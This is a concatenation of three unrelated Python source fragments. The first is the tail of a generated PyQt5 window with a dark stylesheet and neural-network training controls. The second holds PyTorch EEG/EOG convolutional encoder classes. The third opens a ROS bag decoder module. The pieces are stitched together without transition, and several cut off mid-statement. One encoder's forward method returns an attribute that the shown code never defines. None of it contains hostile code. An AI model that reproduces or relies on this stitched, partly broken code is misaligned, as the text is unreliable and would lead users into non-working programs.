" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical\n"
"{\n"
" border: 1px solid black;\n"
" width: 1px;\n"
" height: 1px;\n"
" background: white;\n"
"}\n"
"\n"
"\n"
"QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical\n"
"{\n"
" background: none;\n"
"}\n"
"\n"
"QTextEdit\n"
"{\n"
" background-color: #242424;\n"
"}\n"
"\n"
"QPlainTextEdit\n"
"{\n"
" background-color: #242424;\n"
"}\n"
"\n"
"QHeaderView::section\n"
"{\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #616161, stop: 0.5 #505050, stop: 0.6 #434343, stop:1 #656565);\n"
" color: white;\n"
" padding-left: 4px;\n"
" border: 1px solid #6c6c6c;\n"
"}\n"
"\n"
"QCheckBox:disabled\n"
"{\n"
"color: #414141;\n"
"}\n"
"\n"
"QDockWidget::title\n"
"{\n"
" text-align: center;\n"
" spacing: 3px; /* spacing between items in the tool bar */\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232);\n"
"}\n"
"\n"
"QDockWidget::close-button, QDockWidget::float-button\n"
"{\n"
" text-align: center;\n"
" spacing: 1px; /* spacing between items in the tool bar */\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232);\n"
"}\n"
"\n"
"QDockWidget::close-button:hover, QDockWidget::float-button:hover\n"
"{\n"
" background: #242424;\n"
"}\n"
"\n"
"QDockWidget::close-button:pressed, QDockWidget::float-button:pressed\n"
"{\n"
" padding: 1px -1px -1px 1px;\n"
"}\n"
"\n"
"QMainWindow::separator\n"
"{\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434);\n"
" color: white;\n"
" padding-left: 4px;\n"
" border: 1px solid #4c4c4c;\n"
" spacing: 3px; /* spacing between items in the tool bar */\n"
"}\n"
"\n"
"QMainWindow::separator:hover\n"
"{\n"
"\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #d7801a, stop:0.5 #b56c17 stop:1 #ffa02f);\n"
" color: white;\n"
" padding-left: 4px;\n"
" border: 1px solid #6c6c6c;\n"
" spacing: 3px; /* spacing between items in the tool bar */\n"
"}\n"
"\n"
"QToolBar::handle\n"
"{\n"
" spacing: 3px; /* spacing between items in the tool bar */\n"
" background: url(:/images/handle.png);\n"
"}\n"
"\n"
"QMenu::separator\n"
"{\n"
" height: 2px;\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434);\n"
" color: white;\n"
" padding-left: 4px;\n"
" margin-left: 10px;\n"
" margin-right: 5px;\n"
"}\n"
"\n"
"QProgressBar\n"
"{\n"
" border: 2px solid grey;\n"
" border-radius: 5px;\n"
" text-align: center;\n"
"}\n"
"\n"
"QProgressBar::chunk\n"
"{\n"
" background-color: #d7801a;\n"
" width: 2.15px;\n"
" margin: 0.5px;\n"
"}\n"
"\n"
"QTabBar::tab {\n"
" color: #b1b1b1;\n"
" border: 1px solid #444;\n"
" border-bottom-style: none;\n"
" background-color: #323232;\n"
" padding-left: 10px;\n"
" padding-right: 10px;\n"
" padding-top: 3px;\n"
" padding-bottom: 2px;\n"
" margin-right: -1px;\n"
"}\n"
"\n"
"QTabWidget::pane {\n"
" border: 1px solid #444;\n"
" top: 1px;\n"
"}\n"
"\n"
"QTabBar::tab:last\n"
"{\n"
" margin-right: 0; /* the last selected tab has nothing to overlap with on the right */\n"
" border-top-right-radius: 3px;\n"
"}\n"
"\n"
"QTabBar::tab:first:!selected\n"
"{\n"
" margin-left: 0px; /* the last selected tab has nothing to overlap with on the right */\n"
"\n"
"\n"
" border-top-left-radius: 3px;\n"
"}\n"
"\n"
"QTabBar::tab:!selected\n"
"{\n"
" color: #b1b1b1;\n"
" border-bottom-style: solid;\n"
" margin-top: 3px;\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:.4 #343434);\n"
"}\n"
"\n"
"QTabBar::tab:selected\n"
"{\n"
" border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n"
" margin-bottom: 0px;\n"
"}\n"
"\n"
"QTabBar::tab:!selected:hover\n"
"{\n"
" /*border-top: 2px solid #ffaa00;\n"
" padding-bottom: 3px;*/\n"
" border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n"
" background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434, stop:0.2 #343434, stop:0.1 #ffaa00);\n"
"}\n"
"\n"
"QRadioButton::indicator:checked, QRadioButton::indicator:unchecked{\n"
" color: #b1b1b1;\n"
" background-color: #323232;\n"
" border: 1px solid #b1b1b1;\n"
" border-radius: 6px;\n"
"}\n"
"\n"
"QRadioButton::indicator:checked\n"
"{\n"
" background-color: qradialgradient(\n"
" cx: 0.5, cy: 0.5,\n"
" fx: 0.5, fy: 0.5,\n"
" radius: 1.0,\n"
" stop: 0.25 #ffaa00,\n"
" stop: 0.3 #323232\n"
" );\n"
"}\n"
"\n"
"QCheckBox::indicator{\n"
" color: #b1b1b1;\n"
" background-color: #323232;\n"
" border: 1px solid #b1b1b1;\n"
" width: 9px;\n"
" height: 9px;\n"
"}\n"
"\n"
"QRadioButton::indicator\n"
"{\n"
" border-radius: 6px;\n"
"}\n"
"\n"
"QRadioButton::indicator:hover, QCheckBox::indicator:hover\n"
"{\n"
" border: 1px solid #ffaa00;\n"
"}\n"
"\n"
"QCheckBox::indicator:checked\n"
"{\n"
" image:url(:/images/checkbox.png);\n"
"}\n"
"\n"
"QCheckBox::indicator:disabled, QRadioButton::indicator:disabled\n"
"{\n"
" border: 1px solid #444;\n"
"}\n"
"\n"
"QDoubleSpinBox, QSpinBox\n"
"{\n"
" border: 1px solid #b1b1b1;\n"
" background-color: #323232;\n"
" border-radius: 5px;\n"
"}\n"
"\n"
"QDoubleSpinBox:focus , QSpinBox:focus\n"
"{\n"
" border: 2px solid #ffaa00;\n"
" background-color: #4d4d4d;\n"
"}\n"
"\n"
"QDoubleSpinBox:!focus:hover , QSpinBox:!focus:hover\n"
"{\n"
" border: 1px solid #7e7e7e;\n"
"}\n"
"\n"
"QPushButton:disabled\n"
"{\n"
" color:rgb(98, 98, 98);\n"
" border-radius:5px;\n"
" border: 1px solid rgb(65, 65, 65);\n"
" background-color: rgb(66, 66, 66);\n"
"}")
self.centralwidget = QtWidgets.QWidget(MainWindow)
self.centralwidget.setObjectName("centralwidget")
self.input_box = QtWidgets.QGroupBox(self.centralwidget)
self.input_box.setGeometry(QtCore.QRect(10, 10, 681, 441))
self.input_box.setObjectName("input_box")
self.input_graph = Points_Input(self.input_box)
self.input_graph.setGeometry(QtCore.QRect(10, 20, 661, 381))
self.input_graph.setLayoutDirection(QtCore.Qt.LeftToRight)
self.input_graph.setStyleSheet("padding: 0px;")
self.input_graph.setObjectName("input_graph")
self.btn_clean_input_graph = QtWidgets.QPushButton(self.input_box)
self.btn_clean_input_graph.setGeometry(QtCore.QRect(260, 400, 151, 31))
self.btn_clean_input_graph.setObjectName("btn_clean_input_graph")
self.error_box = QtWidgets.QGroupBox(self.centralwidget)
self.error_box.setGeometry(QtCore.QRect(10, 460, 681, 191))
self.error_box.setObjectName("error_box")
self.error_graph = Error_Graph(self.error_box)
self.error_graph.setGeometry(QtCore.QRect(10, 15, 661, 171))
self.error_graph.setObjectName("error_graph")
self.control_box = QtWidgets.QGroupBox(self.centralwidget)
self.control_box.setGeometry(QtCore.QRect(710, 10, 551, 641))
self.control_box.setObjectName("control_box")
self.label = QtWidgets.QLabel(self.control_box)
self.label.setGeometry(QtCore.QRect(10, 20, 241, 41))
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(False)
font.setWeight(50)
self.label.setFont(font)
self.label.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)
self.label.setObjectName("label")
self.learning_rate = QtWidgets.QDoubleSpinBox(self.control_box)
self.learning_rate.setGeometry(QtCore.QRect(300, 20, 241, 41))
font = QtGui.QFont()
font.setPointSize(12)
self.learning_rate.setFont(font)
self.learning_rate.setStyleSheet("")
self.learning_rate.setFrame(True)
self.learning_rate.setAlignment(QtCore.Qt.AlignCenter)
self.learning_rate.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons)
self.learning_rate.setKeyboardTracking(True)
self.learning_rate.setPrefix("")
self.learning_rate.setDecimals(3)
self.learning_rate.setMinimum(0.001)
self.learning_rate.setMaximum(0.999)
self.learning_rate.setSingleStep(0.01)
self.learning_rate.setProperty("value", 0.5)
self.learning_rate.setObjectName("learning_rate")
self.min_error = QtWidgets.QDoubleSpinBox(self.control_box)
self.min_error.setGeometry(QtCore.QRect(300, 70, 241, 41))
font = QtGui.QFont()
font.setPointSize(12)
self.min_error.setFont(font)
self.min_error.setFrame(True)
self.min_error.setAlignment(QtCore.Qt.AlignCenter)
self.min_error.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons)
self.min_error.setKeyboardTracking(True)
self.min_error.setPrefix("")
self.min_error.setDecimals(6)
self.min_error.setMinimum(1e-06)
self.min_error.setMaximum(10.0)
self.min_error.setSingleStep(0.01)
self.min_error.setProperty("value", 0.02)
self.min_error.setObjectName("min_error")
self.label_2 = QtWidgets.QLabel(self.control_box)
self.label_2.setGeometry(QtCore.QRect(10, 70, 241, 41))
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(False)
font.setWeight(50)
self.label_2.setFont(font)
self.label_2.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)
self.label_2.setObjectName("label_2")
self.max_ephocs = QtWidgets.QSpinBox(self.control_box)
self.max_ephocs.setGeometry(QtCore.QRect(300, 120, 241, 41))
font = QtGui.QFont()
font.setPointSize(12)
self.max_ephocs.setFont(font)
self.max_ephocs.setFrame(True)
self.max_ephocs.setAlignment(QtCore.Qt.AlignCenter)
self.max_ephocs.setButtonSymbols(QtWidgets.QAbstractSpinBox.NoButtons)
self.max_ephocs.setKeyboardTracking(True)
self.max_ephocs.setMinimum(1)
self.max_ephocs.setMaximum(999999999)
self.max_ephocs.setProperty("value", 5000)
self.max_ephocs.setObjectName("max_ephocs")
self.label_3 = QtWidgets.QLabel(self.control_box)
self.label_3.setGeometry(QtCore.QRect(10, 120, 241, 41))
font | |
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape) > 4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0].squeeze(dim=1)
xeog = x[1].squeeze(dim=1)
xeeg = self.conv_0_eeg(xeeg)
xeog = self.conv_0_eog(xeog)
x = self.conv_1(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_1_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_1_eog(torch.cat([xeog, x], dim=1))
x = self.conv_2(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1))
x = self.conv_3(torch.cat([xeeg, xeog], dim=1))
x = torch.cat([xeeg, x, xeog], dim=1)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0], -1])
return x
class EEG_Encoder_best_SEDF_Conv1_3(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(1, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2* size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2*size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, 2*size * dec, kernel_size= 5),
nn.ReLU(),
)
self.avg = nn.AvgPool1d((187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0].squeeze(dim=1)
xeog = x[1].squeeze(dim=1)
xeeg = self.conv_0_eeg(xeeg)
xeog = self.conv_0_eog(xeog)
xeeg = self.conv_1_eeg(xeeg)
xeog = self.conv_1_eog(xeog)
x = self.conv_2(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1))
x = self.conv_3(torch.cat([xeeg, xeog], dim=1))
x = torch.cat([xeeg,x,xeog],dim=1)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_Encoder_AttConv_2d(nn.Module):
def __init__(self, dec):
super().__init__()
# self.pad1 = nn.ReflectionPad2d((2, 2, 1, 1))
# self.dy_conv_0 = nn.Conv2d(1, 64 * dec, kernel_size= (1,5), stride=1)
# # nn.Conv2d(256 * dec, 256 * dec, kernel_size= (1,5) , stride=1, groups= 256 * dec),
# # nn.ReLU(),
# # nn.ReflectionPad2d((0, 0, 1, 1)),
# # nn.Conv2d(256 * dec, 512 * dec, kernel_size=(2, 1), stride=1),
# self.relu = nn.ReLU()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 2))
#
# self.pad0 = nn.ReflectionPad2d((2, 2, 0, 0))
# self.dy_conv_1 = nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=1)
# self.dy_conv_2 = Dynamic_conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=1, K=6)
# self.dy_conv_3 = Dynamic_conv2d(16 * dec, 16 * dec, kernel_size=(3, 3), stride=1, K=6)
#
# # nn.Conv2d(512 * dec, 512 * dec, kernel_size=(1, 5), stride=1, groups= 512 * dec),
# # nn.ReLU(),
# # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 1), stride=1),
# # nn.ReLU(),
#
# # AttentionConv(128 * dec, 16 * dec, kernel_size= (3, 5), stride=1, padding=[2,2,1,1]),
# # nn.ReLU(),
# self.avg = nn.AvgPool2d((1, 56))
# self.conv2 = nn.Sequential( DynamicConv(7200*8, 3, num_heads=3),
# nn.ReLU(),
# nn.AvgPool2d((1, 56))
# )
# import random
# self.rands = random.sample(range(8), 8)
def forward(self, x):
# temp1 = copy.deepcopy(x[:,:,1,:])
# temp3 = copy.deepcopy(x[:,:,3,:])
# x[:, :, 1, :] = x[:,:,4,:]
# x[:, :, 3, :] = x[:,:,6,:]
# x[:, :, 4, :] = temp1
# x[:, :, 6, :] = temp3
# x = self.conv(x)
# x = self.pad0(x)
# x = self.dy_conv_0(x)
# x = self.relu(x)
# x = self.maxpool(x)
# x = self.pad1(x)
# x = self.dy_conv_1(x)
# x = self.relu(x)
# x = self.maxpool(x)
# x = self.pad0(x)
# x = self.dy_conv_2(x)
# x = self.relu(x)
# x = self.pad0(x)
# x = self.dy_conv_3(x)
# x = self.relu(x)
# # print(x.shape)
# x = self.avg(x)
return self.conv(x)
class EEG_Encoder_MTMM(nn.Module):
def __init__(self, dec):
super().__init__()
self.convX1 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2, 128 * dec, kernel_size=5, stride=1),
nn.ReLU(),
nn.Conv1d(128 * dec, 256 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convZ1 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(1, 64 * dec, kernel_size=5, stride=1),
nn.ReLU(),
nn.Conv1d(64 * dec, 128 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convX2 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(256 * dec, 256 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(256 * dec, 128 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convZ2 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(128 * dec, 128 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(128 * dec, 64 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convX3 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(128 * dec, 64 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(64 * dec, 16 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convZ3 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(64 * dec, 32 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(32 * dec, 16 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.avg = nn.AvgPool1d(14)
self.mmtm1 = MMTM(128 * dec, 128 * dec, 900)
self.mmtm2 = MMTM(64 * dec, 64 * dec, 225)
self.mmtm3 = MMTM(16 * dec, 16 * dec, 56)
def forward(self, x):
x_shape = x.shape
z = x[:,1].unsqueeze(dim=1)
x = x[:,0].unsqueeze(dim=1)
x = torch.cat([x,z],dim=1)
x = self.convX1(x)
# z = self.convX1(z)
# x, z = self.mmtm1(x,z)
x = self.convX2(x)
# z = self.convX2(z)
# x, z = self.mmtm2(x,z)
x = self.convX3(x)
# z = self.convX3(z)
# x, z = self.mmtm3(x,z)
x = self.avg(x)
# z = self.avg(z)
# x = x.view([x_shape[0],-1])
#
x = x.flatten(start_dim=1).unsqueeze(dim=1)
# z = z.flatten(start_dim=1).unsqueeze(dim=1)
# x = torch.cat([x,z],dim=1)
return x
class EEG_Encoder_MTMM_2D(nn.Module):
def __init__(self, dec):
super().__init__()
self.convX1 = nn.Sequential(
nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.LayerNorm(896),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.Conv2d( 64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.LayerNorm(444),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.LayerNorm(218),
nn.ReLU(),
nn.AvgPool2d((1,56))
)
# self.convX2 = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1), dilation=1),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# # nn.ReflectionPad2d((2, 2, 0, 0)),
# # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)),
# # nn.ReLU()
# )
# self.convX3 = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1, 1), dilation=(2,1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# )
# self.convX4 = nn.Sequential(
# nn.ZeroPad2d((2, 2, 0, 0)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=(1, 1)),
# nn.ReLU(),
# )
# self.max_pool = nn.MaxPool2d(kernel_size=(1, 2))
#
# self.convX3 = nn.Sequential(
# nn.ReflectionPad2d((1, 1, 2, 2)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(4, 3), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# nn.ReflectionPad2d((1, 1, 1, 1)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(4, 3), stride=(1, 1)),
# nn.ReLU()
# )
# self.convX4 = nn.Sequential(
# nn.ReflectionPad2d((5, 5, 1, 1)),
# nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 11), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# nn.ReflectionPad2d((5, 5, 0, 0)),
# nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 11), stride=(1, 1)),
# nn.ReLU()
# )
# self.avg = nn.AvgPool2d(kernel_size=(1,225))
# self.mmtm1 = MMTM(64 * dec, 64 * dec, 450)
# self.mmtm2 = MMTM(128 * dec, 128 * dec, 225)
# self.mmtm3 = MMTM(16 * dec, 16 * dec, 56)
# self.pos_emb = PositionalEncoder(d_model=128)
# enc = nn.TransformerEncoderLayer(d_model=128 , nhead=16)
# self.self_attention = nn.TransformerEncoder(encoder_layer=enc, num_layers=6)
# #
def forward(self, x):
x_shape = x.shape
# x = [x[:,i].unsqueeze(dim=1).unsqueeze(dim=1) for i in range(x_shape[1])]
# x = [self.convX1(x[i]) for i in range(x_shape[1])]
# x = [self.convX2(x[i]) for i in range(x_shape[1])]
# x = torch.cat(x,dim=2)
# z = x[:,1].unsqueeze(dim=1).unsqueeze(dim=1)
# x = x[:,0].unsqueeze(dim=1).unsqueeze(dim=1)
# # x = torch.cat([x,z],dim=1)
# # x = x.unsqueeze(dim=1)
x = self.convX1(x)
# x2 = self.convX2(x)
# x = self.convX3(x)
# x = torch.cat([x2,x3],dim=2)
# x = self.convX4(x)
# x = self.max_pool(x)
# z = self.convX1(z)
# z = x[:,:,1,:]
# x = x[:,:,0,:]
# x, z = self.mmtm1(x,z)
# x = torch.cat([x.unsqueeze(dim=2),z.unsqueeze(dim=2)],dim=2)
# x = x.view([x_shape[0], x.shape[1], x_shape[1], -1])
# x = self.convX2(x)
# x = self.max_pool(x)
# z = self.convX2(z)
# z = x[:, :, 1, :]
# x = x[:, :, 0, :]
# x, z = | |
<gh_stars>10-100
"""ROS Bag API"""
# Author: <NAME> <<EMAIL>>
# License: MIT
import sys
import numpy as np
import cv2
import time
import os.path
import tf
import rosbag
import rospy
# from message_filters import ApproximateTimeSynchronizer
from genpy.rostime import Time
from sensor_msgs.msg import Image
from cv_bridge import CvBridge, CvBridgeError
from cv_bridge.boost.cv_bridge_boost import cvtColor2
from tf2_msgs.msg import TFMessage
from pybot.geometry.rigid_transform import RigidTransform
from pybot.utils.misc import Accumulator
from pybot.utils.dataset.sun3d_utils import SUN3DAnnotationDB
from pybot.vision.image_utils import im_resize
from pybot.vision.imshow_utils import imshow_cv
from pybot.vision.camera_utils import CameraIntrinsic
from pybot.externals.log_utils import Decoder, LogReader, LogController, LogDB
from pybot.externals.ros.pointclouds import pointcloud2_to_xyz_array
class GazeboDecoder(Decoder):
"""
Model state decoder for gazebo
"""
def __init__(self, every_k_frames=1):
Decoder.__init__(self, channel='/gazebo/model_states', every_k_frames=every_k_frames)
self.__gazebo_index = None
def decode(self, msg):
if self.__gazebo_index is None:
for j, name in enumerate(msg.name):
if name == 'mobile_base':
self.__gazebo_index = j
break
pose = msg.pose[self.__gazebo_index]
tvec, ori = pose.position, pose.orientation
return RigidTransform(xyzw=[ori.x,ori.y,ori.z,ori.w], tvec=[tvec.x,tvec.y,tvec.z])
class CameraInfoDecoder(Decoder):
"""
Basic CameraIntrinsic deocder for ROSBags (from CameraInfo)
"""
def __init__(self, channel='/camera/rgb/camera_info'):
Decoder.__init__(self, channel=channel)
def decode(self, msg):
# print dir(msg), self.channel
"""
D, K, P, R, binning_x, binning_y, distortion_model,
header, height, roi, width
"""
return CameraIntrinsic(K=np.float64(msg.K).reshape(3,3),
D=np.float64(msg.D).ravel(),
shape=[msg.height, msg.width])
def compressed_imgmsg_to_cv2(cmprs_img_msg, desired_encoding = "passthrough"):
"""
Convert a sensor_msgs::CompressedImage message to an OpenCV :cpp:type:`cv::Mat`.
:param cmprs_img_msg: A :cpp:type:`sensor_msgs::CompressedImage` message
:param desired_encoding: The encoding of the image data, one of the following strings:
* ``"passthrough"``
* one of the standard strings in sensor_msgs/image_encodings.h
:rtype: :cpp:type:`cv::Mat`
:raises CvBridgeError: when conversion is not possible.
If desired_encoding is ``"passthrough"``, then the returned image has the same format as img_msg.
Otherwise desired_encoding must be one of the standard image encodings
This function returns an OpenCV :cpp:type:`cv::Mat` message on success, or raises :exc:`cv_bridge.CvBridgeError` on failure.
If the image only has one channel, the shape has size 2 (width and height)
"""
str_msg = cmprs_img_msg.data
buf = np.ndarray(shape=(1, len(str_msg)),
dtype=np.uint8, buffer=cmprs_img_msg.data)
im = cv2.imdecode(buf, cv2.IMREAD_ANYCOLOR)
if desired_encoding == "passthrough":
return im
try:
res = cvtColor2(im, "bgr8", desired_encoding)
except RuntimeError as e:
raise CvBridgeError(e)
return res
class ImageDecoder(Decoder):
"""
Encoding types supported:
bgr8, 32FC1
"""
def __init__(self, channel='/camera/rgb/image_raw', every_k_frames=1, scale=1., encoding='bgr8', compressed=False):
Decoder.__init__(self, channel=channel, every_k_frames=every_k_frames)
self.scale = scale
self.encoding = encoding
self.bridge = CvBridge()
self.compressed = compressed
def decode(self, msg):
try:
if self.compressed:
im = compressed_imgmsg_to_cv2(msg, self.encoding)
else:
im = self.bridge.imgmsg_to_cv2(msg, self.encoding)
except CvBridgeError as e:
raise Exception('ImageDecoder.decode :: {}'.format(e))
return im_resize(im, scale=self.scale)
class PointCloud2Decoder(Decoder):
"""
PointCloud2 decoder
"""
def __init__(self, channel='/vehicle/sonar_cloud',
every_k_frames=1, remove_nans=True):
Decoder.__init__(self, channel=channel,
every_k_frames=every_k_frames)
self.remove_nans_ = remove_nans
def decode(self, msg):
return pointcloud2_to_xyz_array(msg, remove_nans=self.remove_nans_)
# class ApproximateTimeSynchronizerBag(ApproximateTimeSynchronizer):
# """
# See reference implementation in message_filters.__init__.py
# for ApproximateTimeSynchronizer
# """
# def __init__(self, topics, queue_size, slop):
# ApproximateTimeSynchronizer.__init__(self, [], queue_size, slop)
# self.queues_ = [{} for f in topics]
# self.topic_queue_ = {topic: self.queues_[ind] for ind, topic in enumerate(topics)}
# def add_topic(self, topic, msg):
# self.add(msg, self.topic_queue_[topic])
# class SensorSynchronizer(object):
# def __init__(self, channels, cb_names, decoders, on_synced_cb, slop_seconds=0.1, queue_length=10):
# self.channels_ = channels
# self.cb_name_ = cb_names
# self.decoders_ = decoders
# self.slop_seconds_ = slop
# self.queue_length_ = queue_length
# self.synch_ = ApproximateTimeSynchronizerBag(self.channels_, queue_length, slop_seconds)
# self.synch_.registerCallback(self.on_sync)
# self.on_synced_cb = on_synced_cb
# for (channel, cb_name) in zip(self.channels_, self.cb_names_):
# setattr(self, cb_name, lambda t, msg: self.synch_.add_topic(channel, msg))
# print('{} :: Registering {} with callback'.format(self.__class__.__name__, cb_name))
# def on_sync(self, *args):
# items = [dec.decoder(msg) for msg, dec in izip(*args, self.decoders_)]
# return self.on_synced_cb(*items)
# def StereoSynchronizer(left_channel, right_channel, left_cb_name, right_cb_name, on_stereo_cb,
# every_k_frames=1, scale=1., encoding='bgr8', compressed=False):
# """
# Time-synchronized stereo image decoder
# """
# channels = [left_channel, right_channel]
# cb_names = [left_cb_name, right_cb_name]
# decoders = [ImageDecoder(channel=channel, every_k_frames=every_k_frames,
# scale=scale, encoding=encoding, compressed=compressed)
# for channel in channels]
# return SensorSynchronizer(channels, cb_names, decoders, on_stereo_cb)
# def RGBDSynchronizer(left_channel, right_channel, on_stereo_cb,
# every_k_frames=1, scale=1., encoding='bgr8', compressed=False):
# """
# Time-synchronized RGB-D decoder
# """
# channels = [rgb_channel, depth_channel]
# cb_names = [rgb_cb_name, depth_cb_name]
# decoders = [ImageDecoder(channel=channel, every_k_frames=every_k_frames,
# scale=scale, encoding=encoding, compressed=compressed)
# for channel in channels]
# return SensorSynchronizer(channels, decoders, on_stereo_cb)
# class StereoSynchronizer(object):
# """
# Time-synchronized stereo image decoder
# """
# def __init__(self, left_channel, right_channel, on_stereo_cb,
# every_k_frames=1, scale=1., encoding='bgr8', compressed=False):
# self.left_channel = left_channel
# self.right_channel = right_channel
# self.decoder = ImageDecoder(every_k_frames=every_k_frames,
# scale=scale, encoding=encoding, compressed=compressed)
# slop_seconds = 0.02
# queue_len = 10
# self.synch = ApproximateTimeSynchronizerBag([left_channel, right_channel], queue_len, slop_seconds)
# self.synch.registerCallback(self.on_stereo_sync)
# self.on_stereo_cb = on_stereo_cb
# self.on_left = lambda t, msg: self.synch.add_topic(left_channel, msg)
# self.on_right = lambda t, msg: self.synch.add_topic(right_channel, msg)
# def on_stereo_sync(self, lmsg, rmsg):
